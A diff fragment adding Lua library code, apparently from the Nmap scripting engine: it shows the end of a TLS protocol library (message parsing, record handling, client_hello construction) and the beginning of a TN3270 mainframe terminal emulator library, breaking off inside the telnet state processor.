+ and b.random == "\xCF\x21\xAD\x74\xE5\x9A\x61\x11\xBE\x1D\x8C\x02\x1E\x65\xB8\x91\xC2\xA2\x11\x16\x7A\xBB\x8C\x5E\x07\x9E\x09\xE2\xC8\xA8\x33\x9C"
+ then
+ b.helloretry = true
+ end
+
+ -- RFC 8446: "the legacy_version field MUST be set to 0x0303,
+ -- which is the version number for TLS 1.2"
+ if (b.protocol == "TLSv1.2" and b.extensions
+ and b.extensions.supported_versions == "\x03\x04") then
+ b.protocol = "TLSv1.3"
+ end
+
+ return b, j
+ end,
+
+ certificate = function (buffer, j, msg_end, protocol)
+ local cert_end
+ cert_end, j = unpack(">I3", buffer, j)
+ cert_end = cert_end + j
+ if cert_end > msg_end then
+ stdnse.debug2("server_certificate length > handshake body length!")
+ end
+ local b = {certificates = {}}
+ while j < cert_end do
+ local cert_len = unpack(">I3", buffer, j)
+ if cert_len + 3 + j > cert_end then
+ stdnse.debug1("server_certificate parsing error!")
+ j = cert_end
+ break
+ end
+ local cert
+ cert, j = unpack(">s3", buffer, j)
+ -- parse these with sslcert.parse_ssl_certificate
+ insert(b["certificates"], cert)
+ end
+
+ return b, j
+ end,
+
+ NewSessionTicket = function (buffer, j, msg_end, protocol)
+ -- Need 4 bytes for parsing.
+ local have = #buffer - j + 1
+ if have < 4 then
+ return nil, j, 4
+ end
+
+ local b = {}
+ -- Parse body.
+ b.ticket_lifetime_hint, b.ticket, j = unpack(">I4 s2", buffer, j)
+
+ return b, j
+ end,
+}
+
+message_parse = {
+ alert = function (buffer, j)
+ local b = {}
+ -- Parse body.
+ b.level, b.description, j = unpack("BB", buffer, j)
+
+ -- Convert to human-readable form.
+ b["level"] = find_key(TLS_ALERT_LEVELS, b["level"])
+ b["description"] = find_key(TLS_ALERT_REGISTRY, b["description"])
+
+ return b, j
+ end,
+
+ handshake = function (buffer, j, protocol)
+ -- Check for message fragmentation.
+ -- Need 4 bytes for message header with length
+ local have = #buffer - j + 1
+ if have < 4 then
+ return nil, j, 4
+ end
+
+ -- Parse body.
+ local btype, len
+ btype, len, j = unpack("B>I3", buffer, j)
+ local msg_end = len + j
+
+ -- Convert to human-readable form.
+ btype = find_key(TLS_HANDSHAKETYPE_REGISTRY, btype)
+
+ -- Check for message fragmentation.
+ -- Need 4 bytes for header plus length of message
+ if have < len + 4 then
+ return nil, j - 4, len + 4
+ end
+
+ local parser = handshake_parse[btype]
+ local b
+ if parser then
+ b, j = parser(buffer, j, msg_end, protocol)
+ b.type = btype
+ else
+ -- TODO: implement other handshake message types
+ b = { type = btype }
+ stdnse.debug2("Unknown handshake message type: %s", b["type"])
+ b.data, j = unpack("c" .. msg_end - j, buffer, j)
+ end
+
+ return b, j
+ end,
+
+ heartbeat = function (buffer, j)
+ local b = {}
+ b.type, b.payload, j = unpack(">B s2", buffer, j)
+ -- Heartbeat messages are one per record; consume the rest of the record as padding.
+ b.padding = buffer:sub(j)
+ return b, #buffer + 1
+ end,
+}
+
+
+--- Parse a series of TLS messages from a buffer
+--@param mbuffer The buffer to parse
+--@param mi The index into that buffer to begin parsing
+--@param h The TLS/DTLS header. Must contain "type" and "protocol" fields
+--@return A table of parsed messages
+--@return The position where parsing stopped
+function parse_messages (mbuffer, mi, h)
+ local messages = {}
+ while mi < #mbuffer do
+ -- RFC 2246, 6.2.1 "multiple client messages of the same ContentType may
+ -- be coalesced into a single TLSPlaintext record"
+ local parser = message_parse[h.type]
+ if not parser then
+ stdnse.debug1("Unknown message type: %s", h["type"])
+ break
+ end
+ local b, need
+ b, mi, need = parser(mbuffer, mi, h.protocol)
+ if b then
+ messages[#messages+1] = b
+ elseif need then
+ -- Can't finish parsing this message, it'll be left in the fragment
+ break
+ end
+ end
+
+ return messages, mi
+end
+
+---
+-- Read a SSL/TLS record
+-- @param buffer The read buffer
+-- @param i The position in the buffer to start reading (default: 1)
+-- @param fragment Message fragment left over from previous record (nil if none)
+-- @return The current position in the buffer
+-- @return The record that was read, as a table
+-- @return Whether parsing can continue if more data becomes available.
+function record_read(buffer, i, fragment)
+ i = i or 1
+
+ -- Ensure we have enough data for the header.
+ if #buffer - i < TLS_RECORD_HEADER_LENGTH then
+ return i, nil, true
+ end
+
+ -- Parse header.
+ local h = {}
+ local typ, proto, rlength, j = unpack(">B I2 I2", buffer, i)
+ h.length = rlength
+ local name = find_key(TLS_CONTENTTYPE_REGISTRY, typ)
+ if name == nil then
+ stdnse.debug1("Unknown TLS ContentType: %d", typ)
+ return j, nil, false
+ end
+ h["type"] = name
+ name = find_key(PROTOCOLS, proto)
+ if name == nil then
+ stdnse.debug1("Unknown TLS Protocol: 0x%04x", proto)
+ return j, nil, false
+ end
+ h["protocol"] = name
+
+ -- Ensure we have enough data for the body.
+ if #buffer < j + rlength - 1 then
+ return i, nil, true
+ end
+
+ -- Adjust buffer and length to account for message fragment left over
+ -- from last record.
+ local mbuffer
+ if fragment then
+ mbuffer = fragment .. buffer:sub(j, j + rlength)
+ else
+ mbuffer = buffer:sub(j, j + rlength)
+ end
+
+ -- Body
+ local mi = 1
+ h.body, mi = parse_messages(mbuffer, mi, h)
+ if mi < #mbuffer then
+ -- Fragmented message
+ h.fragment = mbuffer:sub(mi)
+ end
+ -- Skip to the end of the record. Ignore unparsed bytes.
+ -- These should be handled as fragmentation above
+ j = j + rlength
+
+ return j, h, true
+end
+
+---
+-- Get the record version field appropriate for the protocol version
+--
+-- TLSv1.3 introduced a change in the interpretation of the record version
+-- field. Previously, this was an indication of the TLS protocol, but now it is
+-- frozen at TLSv1.2.
+-- @param proto_version The numeric value of the protocol, e.g. 0x0303 for TLSv1.2
+-- @return The numeric value that should be used in the record layer version field
+local function legacy_version (proto_version)
+ -- TLSv1.2 was the last version where protocol version was negotiated via the
+ -- record layer version. Later versions use the supported_versions extension
+ return proto_version <= 0x0303 and proto_version or 0x0303
+end
+
+function record_version_ok(received_version, proto_version)
+ if proto_version == "TLSv1.3" then
+ return received_version == "TLSv1.2"
+ end
+ return proto_version == received_version
+end
+
+---
+-- Build a SSL/TLS record
+-- @param type The type of record ("handshake", "change_cipher_spec", etc.)
+-- @param protocol The protocol and version ("SSLv3", "TLSv1.0", etc.)
+-- @param b The record body
+-- @return The SSL/TLS record as a string
+function record_write(type, protocol, b)
+ return concat({
+ -- Set the header as a handshake.
+ pack("B", TLS_CONTENTTYPE_REGISTRY[type]),
+ -- Set the protocol.
+ pack(">I2", legacy_version(PROTOCOLS[protocol])),
+ -- Set the length of the header body.
+ pack(">s2", b)
+ })
+end
+
+-- Claim to support common hash and signature algorithm combinations (TLSv1.2 only)
+--
+local DEFAULT_SIGALGS
+do
+ local sigalgs = {
+ -- most likely signature is rsa, so even use it for weak hashes
+ {"md5","rsa"},
+ {"sha1","rsa"},
+ {"sha224","rsa"},
+ -- most likely are sha256 and sha512.
+ {"sha256","rsa"},
+ {"sha256","dsa"},
+ {"sha256","ecdsa"},
+ {"sha256","ed25519"},
+ {"sha256","ed448"},
+ {"sha512","rsa"},
+ {"sha512","dsa"},
+ {"sha512","ecdsa"},
+ {"sha512","ed25519"},
+ {"sha512","ed448"},
+ }
+ DEFAULT_SIGALGS = EXTENSION_HELPERS["signature_algorithms"](sigalgs)
+end
+-- Equivalent for TLSv1.3 is SignatureScheme
+-- We'll offer all the sha256 and sha512 variants, plus a few extra
+local DEFAULT_SIGSCHEMES
+do
+ local sigalgs = {
+ "rsa_pkcs1_sha256",
+ "rsa_pkcs1_sha512",
+ "ecdsa_secp256r1_sha256",
+ "ecdsa_secp521r1_sha512",
+ "rsa_pss_rsae_sha256",
+ "rsa_pss_rsae_sha512",
+ "ed25519",
+ "ed448",
+ "rsa_pss_pss_sha256",
+ "rsa_pss_pss_sha512",
+ "rsa_pkcs1_sha1",
+ "ecdsa_sha1",
+ }
+ DEFAULT_SIGSCHEMES = EXTENSION_HELPERS["signature_algorithms_13"](sigalgs)
+end
+
+---
+-- Build a client_hello message
+--
+-- The options table has the following keys:
+-- * <code>"protocol"</code> - The TLS protocol version string for the client_hello. This indicates the highest protocol version supported.
+-- * <code>"record_protocol"</code> - The TLS protocol version string for the TLS record. This indicates the lowest protocol version supported.
+-- * <code>"ciphers"</code> - a table containing the cipher suite names. Defaults to the NULL cipher
+-- * <code>"compressors"</code> - a table containing the compressor names. Default: NULL
+-- * <code>"extensions"</code> - a table containing the extension names. Default: no extensions
+-- @param t Table of options
+-- @return The client_hello record as a string
+function client_hello(t)
+ local b, ciphers, compressor, compressors, h, len
+ t = t or {}
+
+ ----------
+ -- Body --
+ ----------
+
+ b = {}
+ -- Set the protocol.
+ local protocol = t["protocol"] or HIGHEST_PROTOCOL
+ insert(b, pack(">I2 I4",
+ legacy_version(PROTOCOLS[protocol]),
+ -- Set the random data.
+ os.time()
+ ))
+ local record_proto = t.record_protocol
+
+ -- Set the random data.
+ insert(b, rand.random_string(28))
+
+ -- Set the session ID.
+ local sid = t["session_id"] or ""
+ insert(b, pack(">s1", sid))
+
+ local eccpwd = false
+ local shangmi = false
+ -- Cipher suites.
+ ciphers = {}
+ -- Add specified ciphers.
+ for _, cipher in pairs(t.ciphers -- user-specified list
+ or (record_proto == "TLSv1.3" and DEFAULT_TLS13_CIPHERS) -- TLSv1.3 only
+ or (PROTOCOLS[protocol] < PROTOCOLS["TLSv1.3"] and DEFAULT_TLS12_CIPHERS) -- non-TLSv1.3
+ or DEFAULT_CIPHERS) -- combined/compatible handshake
+ do
+ if type(cipher) == "string" then
+ if cipher:match("^TLS_ECCPWD_") then
+ -- RFC 8492 has specific requirements
+ eccpwd = true
+ elseif protocol == "TLSv1.3" and cipher:match("_SM3$") then
+ -- RFC 8998 has specific requirements
+ shangmi = true
+ end
+ cipher = CIPHERS[cipher] or SCSVS[cipher]
+ end
+ if type(cipher) == "number" and cipher >= 0 and cipher <= 0xffff then
+ insert(ciphers, pack(">I2", cipher))
+ else
+ stdnse.debug1("Unknown cipher in client_hello: %s", cipher)
+ end
+ end
+ insert(b, pack(">s2", concat(ciphers)))
+
+ -- Compression methods.
+ compressors = {}
+ if t["compressors"] ~= nil then
+ -- Add specified compressors.
+ for _, compressor in pairs(t["compressors"]) do
+ if compressor ~= "NULL" then
+ insert(compressors, pack("B", COMPRESSORS[compressor]))
+ end
+ end
+ end
+ -- Always include NULL as last choice
+ insert(compressors, pack("B", COMPRESSORS["NULL"]))
+ insert(b, pack("s1", concat(compressors)))
+
+ -- TLS extensions
+ local proto_ver = PROTOCOLS[protocol]
+ if proto_ver and protocol ~= "SSLv3" then
+ local extensions = {}
+ -- TLSv1.3 requires supported_versions and key_share extensions
+ -- OpenSSL also appears to want supported_groups in some cases?
+ local need_supported_versions = (proto_ver >= PROTOCOLS["TLSv1.3"])
+ local need_key_share = need_supported_versions
+ local need_elliptic_curves = need_supported_versions
+ -- Do we need to add the signature_algorithms extension?
+ local need_sigalg = (proto_ver >= PROTOCOLS["TLSv1.2"])
+ -- Add specified extensions.
+ if t.extensions then
+ for extension, data in pairs(t["extensions"]) do
+ if type(extension) == "number" then
+ insert(extensions, pack(">I2", extension))
+ else
+ if extension == "signature_algorithms" or extension == "signature_algorithms_13" then
+ need_sigalg = false
+ if shangmi then
+ local sm2sig_sm3 = pack(">I2", SignatureSchemes.sm2sig_sm3)
+ if not data:match("^..(..)*" .. sm2sig_sm3) then
+ data = pack(">s2", data:sub(3) .. sm2sig_sm3)
+ end
+ end
+ elseif extension == "supported_versions" then
+ need_supported_versions = false
+ elseif extension == "key_share" then
+ need_key_share = false
+ elseif extension == "elliptic_curves" then
+ need_elliptic_curves = false
+ if shangmi then
+ -- For now, RFC 8998 is the only one that enforces particular curves
+ local curveSM2 = pack(">I2", ELLIPTIC_CURVES.curveSM2)
+ if not data:match("^..(..)*" .. curveSM2) then
+ data = pack(">s2", data:sub(3) .. curveSM2)
+ end
+ end
+ end
+ insert(extensions, pack(">I2", EXTENSIONS[extension]))
+ end
+ insert(extensions, pack(">s2", data))
+ end
+ end
+ if need_supported_versions then
+ insert(extensions, pack(">I2", EXTENSIONS["supported_versions"]))
+ -- We'd prefer TLS 1.2 or 1.1, since we've tested our scripts on those.
+ insert(extensions, pack(">s2", EXTENSION_HELPERS["supported_versions"]({"TLSv1.2", "TLSv1.1", "TLSv1.3", "SSLv3"})))
+ end
+ if need_sigalg then
+ insert(extensions, pack(">I2", EXTENSIONS["signature_algorithms"]))
+ local data = proto_ver >= PROTOCOLS["TLSv1.3"] and DEFAULT_SIGSCHEMES or DEFAULT_SIGALGS
+ if shangmi then
+ data = pack(">s2", data:sub(3) .. pack(">I2", SignatureSchemes.sm2sig_sm3))
+ end
+ insert(extensions, pack(">s2", data))
+ end
+ if need_key_share then
+ -- RFC 8446: Clients MAY send an empty client_shares vector in order to request
+ -- group selection from the server, at the cost of an additional round trip
+ insert(extensions, pack(">I2", EXTENSIONS["key_share"]))
+ insert(extensions, pack(">s2", "\0\0"))
+ end
+ if need_elliptic_curves then
+ local curves = {table.unpack(DEFAULT_ELLIPTIC_CURVES)}
+ if shangmi then
+ curves[#curves+1] = "curveSM2"
+ end
+ insert(extensions, pack(">I2", EXTENSIONS["elliptic_curves"]))
+ insert(extensions, pack(">s2", EXTENSION_HELPERS["elliptic_curves"](curves)))
+ end
+ -- Extensions are optional
+ if #extensions ~= 0 then
+ insert(b, pack(">s2", concat(extensions)))
+ end
+ end
+
+ ------------
+ -- Header --
+ ------------
+
+ b = concat(b)
+
+ h = {}
+
+ -- Set type to ClientHello.
+ insert(h, pack("B", TLS_HANDSHAKETYPE_REGISTRY["client_hello"]))
+
+ -- Set the length of the body.
+ insert(h, pack(">s3", b))
+
+ -- Record layer version should be SSLv3 (lowest compatible record version)
+ -- But some implementations (OpenSSL) will not finish a handshake that could
+ -- be downgraded by a MITM to SSLv3. So we use TLSv1.0 unless the caller
+ -- explicitly tries to set SSLv3.0 somewhere (t.record_protocol or
+ -- t.protocol)
+ if not record_proto then
+ record_proto = (t.protocol == "SSLv3") and "SSLv3" or "TLSv1.0"
+ elseif record_proto == "TLSv1.3" then
+ -- RFC 8446: "MUST be set to 0x0303 for all records generated by a TLS 1.3
+ -- implementation other than an initial ClientHello (i.e., one not generated
+ -- after a HelloRetryRequest), where it MAY also be 0x0301 for compatibility
+ -- purposes.
+ record_proto = "TLSv1.2"
+ end
+ return record_write("handshake", record_proto, concat(h))
+end
+
+local function read_atleast(s, n)
+ local buf = {}
+ local count = 0
+ while count < n do
+ local status, data = s:receive_bytes(n - count)
+ if not status then
+ return status, data, concat(buf)
+ end
+ buf[#buf+1] = data
+ count = count + #data
+ end
+ return true, concat(buf)
+end
+
+--- Get an entire record into a buffer
+--
+-- Caller is responsible for closing the socket if necessary.
+-- @param sock The socket to read additional data from
+-- @param buffer The string buffer holding any previously-read data
+-- (default: "")
+-- @param i The position in the buffer where the record should start
+-- (default: 1)
+-- @return status Socket status
+-- @return Buffer containing at least 1 record if status is true
+-- @return Error text if there was an error
+function record_buffer(sock, buffer, i)
+ buffer = buffer or ""
+ i = i or 1
+ local count = #buffer:sub(i)
+ local status, resp, rem
+ if count < TLS_RECORD_HEADER_LENGTH then
+ status, resp, rem = read_atleast(sock, TLS_RECORD_HEADER_LENGTH - count)
+ if not status then
+ return false, buffer .. rem, resp
+ end
+ buffer = buffer .. resp
+ count = count + #resp
+ end
+ -- ContentType, ProtocolVersion, length
+ local ctype, pversion, len = unpack(">BI2I2", buffer, i)
+ if not TLS_PROTOCOL_VERSIONS[pversion] or not TLS_CONTENTTYPES[ctype] then
+ return false, buffer, "Unknown TLS protocol version or content type"
+ end
+ if count < TLS_RECORD_HEADER_LENGTH + len then
+ status, resp = read_atleast(sock, TLS_RECORD_HEADER_LENGTH + len - count)
+ if not status then
+ return false, buffer, resp
+ end
+ buffer = buffer .. resp
+ end
+ return true, buffer
+end
+
+-- Get a server_name for use with the TLS Server Name Indication extension.
+--
+-- This returns the value of the script argument "tls.servername" if given. Otherwise, it
+-- returns the target name of the host parameter.
+--
+-- @param host Host table as received by the action function
+-- @return String of the selected host name
+function servername(host)
+ local script_arg = stdnse.get_script_args("tls.servername")
+ if script_arg then
+ return script_arg
+ elseif type(host) == "table" then
+ return host.targetname
+ end
+end
+
+local unittest = require "unittest"
+if not unittest.testing() then
+ return _ENV
+end
+test_suite = unittest.TestSuite:new()
+for name, code in pairs(CIPHERS) do
+ test_suite:add_test(unittest.not_nil(cipher_info(name).kex), name .. ".kex")
+end
+return _ENV;
diff --git a/nselib/tn3270.lua b/nselib/tn3270.lua
new file mode 100644
index 0000000..d49f4da
--- /dev/null
+++ b/nselib/tn3270.lua
@@ -0,0 +1,1402 @@
+---
+-- TN3270 Emulator Library
+--
+-- Summary
+-- * This library implements an RFC 1576 and 2355 (somewhat) compliant TN3270 emulator.
+--
+-- The library consists of one class <code>Telnet</code> consisting of multiple
+-- functions required for initiating a TN3270 connection.
+--
+-- The following sample code illustrates how scripts can use this class
+-- to interface with a mainframe:
+--
+-- <code>
+-- mainframe = Telnet:new()
+-- status, err = mainframe:initiate(host, port)
+-- status, err = mainframe:send_cursor("LOGON APPLID(TSO)")
+-- mainframe:get_data()
+-- curr_screen = mainframe:get_screen()
+-- status, err = mainframe:disconnect()
+-- </code>
+--
+-- The implementation is based on packet dumps, x3270, the excellent decoding
+-- provided by Wireshark and the Data Stream Programmers Reference (Dec 88)
+
+local stdnse = require "stdnse"
+local drda = require "drda" -- We only need this to decode EBCDIC
+local comm = require "comm"
+local math = require "math"
+local nmap = require "nmap"
+local string = require "string"
+local table = require "table"
+
+_ENV = stdnse.module("tn3270", stdnse.seeall)
+
+Telnet = {
+ --__index = Telnet,
+
+ commands = {
+ SE = "\240", -- End of subnegotiation parameters
+ SB = "\250", -- Sub-option to follow
+ WILL = "\251", -- Will; request or confirm option begin
+ WONT = "\252", -- Wont; deny option request
+ DO = "\253", -- Do = Request or confirm remote option
+ DONT = "\254", -- Don't = Demand or confirm option halt
+ IAC = "\255", -- Interpret as Command
+ SEND = "\001", -- Sub-process negotiation SEND command
+ IS = "\000", -- Sub-process negotiation IS command
+ EOR = "\239"
+ },
+ tncommands = {
+ ASSOCIATE = "\000",
+ CONNECT = "\001",
+ DEVICETYPE = "\002",
+ FUNCTIONS = "\003",
+ IS = "\004",
+ REASON = "\005",
+ REJECT = "\006",
+ REQUEST = "\007",
+ RESPONSES = "\002",
+ SEND = "\008",
+ EOR = "\239"
+ },
+
+ -- Thesse are the options we accept for telnet
+ options = {
+ BINARY = "\000",
+ EOR = "\025",
+ TTYPE = "\024",
+ TN3270 = "\028",
+ TN3270E = "\040"
+ },
+
+ command = {
+ EAU = "\015",
+ EW = "\005",
+ EWA = "\013",
+ RB = "\002",
+ RM = "\006",
+ RMA = "",
+ W = "\001",
+ WSF = "\017",
+ NOP = "\003",
+ SNS = "\004",
+ SNSID = "\228"
+ },
+ sna_command ={
+ RMA = "\110",
+ EAU = "\111",
+ EWA = "\126",
+ W = "\241",
+ RB = "\242",
+ WSF = "\243",
+ EW = "\245",
+ NOP = "\003",
+ RM = "\246"
+ },
+
+ orders = {
+ SF = "\029",
+ SFE = "\041",
+ SBA = "\017",
+ SA = "\040",
+ MF = "\044",
+ IC = "\019",
+ PT = "\005",
+ RA = "\060",
+ EUA = "\018",
+ GE = "\008"
+ },
+
+ fcorders = {
+ NUL = "\000",
+ SUB = "\063",
+ DUP = "\028",
+ FM = "\030",
+ FF = "\012",
+ CR = "\013",
+ NL = "\021",
+ EM = "\025",
+ EO = "\255"
+ },
+
+ aids = {
+ NO = 0x60, -- no aid
+ QREPLY = 0x61, -- reply
+ ENTER = 0x7d, -- enter
+ PF1 = 0xf1,
+ PF2 = 0xf2,
+ PF3 = 0xf3,
+ PF4 = 0xf4,
+ PF5 = 0xf5,
+ PF6 = 0xf6,
+ PF7 = 0xf7,
+ PF8 = 0xf8,
+ PF9 = 0xf9,
+ PF10 = 0x7a,
+ PF11 = 0x7b,
+ PF12 = 0x7c,
+ PF13 = 0xc1,
+ PF14 = 0xc2,
+ PF15 = 0xc3,
+ PF16 = 0xc4,
+ PF17 = 0xc5,
+ PF18 = 0xc6,
+ PF19 = 0xc7,
+ PF20 = 0xc8,
+ PF21 = 0xc9,
+ PF22 = 0x4a,
+ PF23 = 0x4b,
+ PF24 = 0x4c,
+ OICR = 0xe6,
+ MSR_MHS = 0xe7,
+ SELECT = 0x7e,
+ PA1 = 0x6c,
+ PA2 = 0x6e,
+ PA3 = 0x6b,
+ CLEAR = 0x6d,
+ SYSREQ = 0xf0
+ },
+
+ -- used to translate buffer addresses
+ code_table = {
+ 0x40, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7,
+ 0xC8, 0xC9, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F,
+ 0x50, 0xD1, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7,
+ 0xD8, 0xD9, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F,
+ 0x60, 0x61, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7,
+ 0xE8, 0xE9, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F,
+ 0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7,
+ 0xF8, 0xF9, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F
+ },
+
+ -- Variables used for Telnet Negotiation and data buffers
+ word_state = { "Negotiating", "Connected", "TN3270 mode", "TN3270E mode"},
+ NEGOTIATING = 1,
+ CONNECTED = 2,
+ TN3270_DATA = 3,
+ TN3270E_DATA = 4,
+ device_type = "IBM-3278-2",
+
+ -- TN3270E Header variables
+ tn3270_header = {
+ data_type = '',
+ request_flag = '',
+ response_flag = '',
+ seq_number = ''
+ },
+
+ -- TN3270 Datatream Processing flags
+ NO_OUTPUT = 0,
+ OUTPUT = 1,
+ BAD_COMMAND = 2,
+ BAD_ADDRESS = 3,
+ NO_AID = 0x60,
+ aid = 0x60, -- initial Attention Identifier is No AID
+
+ -- Header response flags.
+ NO_RESPONSE = 0x00,
+ ERROR_RESPONSE = 0x01,
+ ALWAYS_RESPONSE = 0x02,
+ POSITIVE_RESPONSE = 0x00,
+ NEGATIVE_RESPONSE = 0x01,
+
+ -- Header data type names.
+ DT_3270_DATA = 0x00,
+ DT_SCS_DATA = 0x01,
+ DT_RESPONSE = 0x02,
+ DT_BIND_IMAGE = 0x03,
+ DT_UNBIND = 0x04,
+ DT_NVT_DATA = 0x05,
+ DT_REQUEST = 0x06,
+ DT_SSCP_LU_DATA = 0x07,
+ DT_PRINT_EOJ = 0x08,
+
+ -- Header response data.
+ POS_DEVICE_END = 0x00,
+ NEG_COMMAND_REJECT = 0x00,
+ NEG_INTERVENTION_REQUIRED = 0x01,
+ NEG_OPERATION_CHECK = 0x02,
+ NEG_COMPONENT_DISCONNECTED = 0x03,
+
+ -- TN3270E Negotiation Options
+ TN3270E_ASSOCIATE = 0x00,
+ TN3270E_CONNECT = 0x01,
+ TN3270E_DEVICE_TYPE = 0x02,
+ TN3270E_FUNCTIONS = 0x03,
+ TN3270E_IS = 0x04,
+ TN3270E_REASON = 0x05,
+ TN3270E_REJECT = 0x06,
+ TN3270E_REQUEST = 0x07,
+ TN3270E_SEND = 0x08,
+
+ -- SFE Attributes
+ SFE_3270 = "192",
+ order_max = "\063", -- tn3270 orders can't be greater than 0x3F
+ COLS = 80, -- hardcoded width.
+ ROWS = 24, -- hardcoded rows. We only support 3270 model 2 which was 24x80.
+ buffer_addr = 1,
+ cursor_addr = 1,
+ isSSL = true,
+
+ --- Creates a new TN3270 Client object
+
+ new = function(self, socket)
+ local o = {
+ socket = socket or nmap.new_socket(),
+ -- TN3270 Buffers
+ buffer = {},
+ fa_buffer = {},
+ output_buffer = {},
+ overwrite_buf = {},
+ telnet_state = 0, -- same as TNS_DATA to begin with
+ server_options = {},
+ client_options = {},
+ unsupported_opts = {},
+ sb_options = '',
+ connected_lu = '',
+ connected_dtype= '',
+ telnet_data = '',
+ tn_buffer = '',
+ negotiated = false,
+ first_screen = false,
+ state = 0,
+ buffer_address = 1,
+ formatted = false,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Connects to a tn3270 servers
+ connect = function ( self, host, port )
+
+ local TN_PROTOCOLS = { "ssl", "tcp" }
+ local status, err
+ if not self.isSSL then
+ status, err = self.socket:connect(host, port, 'tcp')
+ local proto = 'tcp'
+ if status then
+ TN_PROTOCOLS = {proto}
+ return true
+ end
+ else
+
+ for _, proto in pairs(TN_PROTOCOLS) do
+ status, err = self.socket:connect(host, port, proto)
+ if status then
+ TN_PROTOCOLS = {proto}
+ return true
+ end
+ stdnse.debug(3,"Can't connect using %s: %s", proto, err)
+ end
+ end
+ self.socket:close()
+ return false, err
+ end,
+
+ disconnect = function ( self )
+ stdnse.debug(2,"Disconnecting")
+ return self.socket:close()
+ end,
+
+ recv_data = function ( self )
+ return self.socket:receive()
+ end,
+
+ close = function ( self )
+ return self.socket:close()
+ end,
+
+ send_data = function ( self, data )
+ stdnse.debug(2, "Sending data: 0x%s", stdnse.tohex(data))
+ return self.socket:send( data )
+ end,
+
+ ------------- End networking functions
+
+
+ -- TN3270 Helper functions
+ -----------
+ --- Decode Buffer Address
+ --
+ -- Buffer addresses can come in 14 or 12 (this terminal doesn't support 16 bit)
+ -- this function takes two bytes (buffer addresses are two bytes long) and returns
+ -- the decoded buffer address.
+ -- @param1 unsigned char, first byte of buffer address.
+ -- @param2 unsigned char, second byte of buffer address.
+ -- @return integer of buffer address
+ DECODE_BADDR = function ( byte1, byte2 )
+ if (byte1 & 0xC0) == 0 then
+ -- (byte1 & 0x3F) << 8 | byte2
+ return (((byte1 & 0x3F) << 8) | byte2)
+ else
+ -- (byte1 & 0x3F) << 6 | (byte2 & 0x3F)
+ return (((byte1 & 0x3F) << 6) | (byte2 & 0x3F))
+ end
+ end,
+
+ --- Encode Buffer Address
+ --
+ -- @param integer buffer address
+ -- @return TN3270 encoded buffer address (12 bit) as string
+ ENCODE_BADDR = function ( self, address )
+ stdnse.debug(3, "Encoding Address: %s", address)
+ return string.pack("BB",
+ -- (address >> 8) & 0x3F
+ -- we need the +1 because LUA tables start at 1 (yay!)
+ self.code_table[((address >> 6) & 0x3F)+1],
+ -- address & 0x3F
+ self.code_table[(address & 0x3F)+1]
+ )
+ end,
+
+ BA_TO_ROW = function ( self, addr )
+ return math.ceil((addr / self.COLS) + 0.5)
+ end,
+
+ BA_TO_COL = function ( self, addr )
+ return addr % self.COLS
+ end,
+
+ INC_BUF_ADDR = function ( self, addr )
+ return ((addr + 1) % (self.COLS * self.ROWS))
+ end,
+
+ DEC_BUF_ADDR = function ( self, addr )
+ return ((addr + 1) % (self.COLS * self.ROWS))
+ end,
+
+ --- Initiates tn3270 connection
+ initiate = function ( self, host, port )
+ local status = true
+ --local status, err = self:connect(host , port)
+ local opts = {recv_before = true}
+ self.socket, self.telnet_data = comm.tryssl(host, port, '', opts)
+
+ if ( not(self.socket) ) then
+ return false, self.telnet_data
+ end
+ -- clear out options buffers
+ self.client_options = {}
+ self.server_options = {}
+ self.state = self.NEGOTIATING
+ self.first_screen = false
+
+ self:process_packets() -- process the first batch of information
+ -- then loop through until we're done negotiating telnet/tn3270 options
+ while not self.first_screen and status do
+ status, self.telnet_data = self:recv_data()
+ self:process_packets()
+ end
+ return status
+ end,
+
+ --- rebuilds tn3270 screen based on information sent
+ -- Closes the socket if the mainframe has closed the socket on us
+ -- Is done reading when it encounters EOR
+ get_data = function ( self )
+ local status = true
+ self.first_screen = false
+ while not self.first_screen and status do
+ status, self.telnet_data = self:recv_data()
+ self:process_packets()
+ end
+ if not status then
+ self:disconnect()
+ end
+ return status
+ end,
+
+ get_all_data = function ( self, timeout )
+ if timeout == nil then
+ timeout = 200
+ end
+ local status = true
+ self.first_screen = false
+ self.socket:set_timeout(timeout)
+ while status do
+ status, self.telnet_data = self:recv_data()
+ if self.telnet_data ~= "TIMEOUT" then
+ self:process_packets()
+ end
+ end
+ self.socket:set_timeout(3000)
+ return status
+ end,
+
+ process_packets = function ( self )
+ for i = 1,#self.telnet_data,1 do
+ self:ts_processor(self.telnet_data:sub(i,i))
+ end
+ -- once all the data has been processed we clear out the buffer
+ self.telnet_data = ''
+ end,
+
+ --- Disable SSL
+ -- by default the tn3270 object uses SSL first. This disables SSL
+ disableSSL = function (self)
+ stdnse.debug(2,"Disabling SSL connections")
+ self.isSSL = false
+ end,
+
+ --- Telnet State processor
+ --
+ -- @return true if success false if encoutered any issues
+
+ ts_processor = function ( self, data )
+ local TNS_DATA = 0
+ local TNS_IAC = 1
+ local TNS_WILL = 2
+ local TNS_WONT = 3
+ local TNS_DO = 4
+ local TNS_DONT = 5
+ local TNS_SB = 6
+ local TNS_SB_IAC = 7
+ local supported = false
+ local DO_reply = self.commands.IAC .. self.commands.DO
+ local DONT_reply = self.commands.IAC .. self.commands.DONT
+ local WILL_reply = self.commands.IAC .. self.commands.WILL
+ local WONT_reply = self.commands.IAC .. self.commands.WONT
+
+ --nsedebug.print_hex(data)
+ --stdnse.debug(3,"current state:%s", self.telnet_state)
+
+ if self.telnet_state == TNS_DATA then
+ if data == self.commands.IAC then
+ -- got an IAC
+ self.telnet_state = TNS_IAC
+ return true
+ end
+ -- stdnse.debug("Adding 0x%s to Data Buffer", stdnse.tohex(data))
+ self:store3270(data)
+ elseif self.telnet_state == TNS_IAC then
+ if data == self.commands.IAC then
+ -- insert this 0xFF in to the buffer
+ self:store3270(data)
+ self.telnet_state = TNS_DATA
+ elseif data == self.commands.EOR then
+ -- we're at the end of the TN3270 data
+ -- let's process it and see what we've got
